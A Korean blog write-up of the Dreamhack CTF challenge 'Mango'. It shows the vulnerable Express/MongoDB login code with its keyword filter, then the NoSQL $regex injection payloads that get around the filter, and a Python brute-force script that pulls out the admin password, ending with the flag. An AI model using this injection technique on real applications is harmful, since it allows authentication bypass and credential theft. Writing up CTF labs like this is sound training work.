개발세발보안중

[드림핵]Mango Write up 본문

CTF

[드림핵]Mango Write up

채영채영 2023. 5. 10. 15:59
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

화면 맨 처음에 뜨는 것 .. 이걸 url에 넣어보면 guest가 뜰 것이다.

정규표현식을 사용하여 공격을 시도해야 한다.
MongoDB 문법을 활용하여 uid 자리수가 5 이상, upw의 자리수가 1 이상인 계정을 출력하라는 쿼리문을 작성하면,
uid[$regex]=.{5}&upw[$regex]=.{1} 을 url에 입력한다 .. 그래도 guest가 뜬다

admin&upw[$regex]=D.*로 줄였는데, .를 활용하여 우회를 할 수 있따.
ad.&upw[$regex]=D.* 

그리고 익스플로잇 코드를 작성한다.

import requests, string

HOST = 'http://host3.dreamhack.games:14925/'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
FLAG: DH{89e50fa6fafe2604e33c0ba05843d3df}

'CTF' 카테고리의 다른 글

[드림핵]blind-command Write up  (0) 2023.05.10
[드림핵]baby-linux Write Up  (0) 2023.05.10
[드림핵]xss-1  (0) 2023.05.10
[드림핵]pathtraversal Write Up  (0) 2023.05.10
[드림핵]broken-png Write Up  (0) 2023.05.10
Comments